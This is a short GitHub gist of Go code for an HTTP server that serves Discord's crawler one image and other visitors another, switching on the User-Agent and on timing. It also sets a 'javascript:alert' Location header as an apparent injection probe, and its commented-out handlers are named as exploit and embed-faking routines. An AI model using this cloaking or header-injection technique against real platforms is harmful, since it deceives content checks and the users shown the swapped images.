Skip to content

Instantly share code, notes, and snippets.

@jonas747
Created August 2, 2016 20:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jonas747/5fd7d28ff8b2afff672a73de1ecc7e39 to your computer and use it in GitHub Desktop.
Save jonas747/5fd7d28ff8b2afff672a73de1ecc7e39 to your computer and use it in GitHub Desktop.
package main
import (
"io/ioutil"
"strings"
"time"
// "sync/atomic"
"log"
"net/http"
)
func main() {
// http.HandleFunc("/faker/", serverEmbedFaker)
http.HandleFunc("/img/", serveImage)
// http.HandleFunc("/", serverExploit)
log.Println("Running b0$$")
http.ListenAndServe(":5000", nil)
}
var images = []string{
"image1.png",
"image2.png",
}
var botCheck time.Time
func serveImage(w http.ResponseWriter, r *http.Request) {
userAgent := r.UserAgent()
log.Println(r.RemoteAddr, userAgent)
path := "botimage.png"
if !strings.Contains(userAgent, "Discordbot") {
if time.Since(botCheck) < time.Second*3 {
path = images[0]
} else {
path = images[1]
}
} else {
botCheck = time.Now()
}
log.Println("Serving", path)
w.Header().Add("Location", "javascript:alert('asd')")
img, err := ioutil.ReadFile(path)
if err != nil {
panic(err)
}
w.Write(img)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment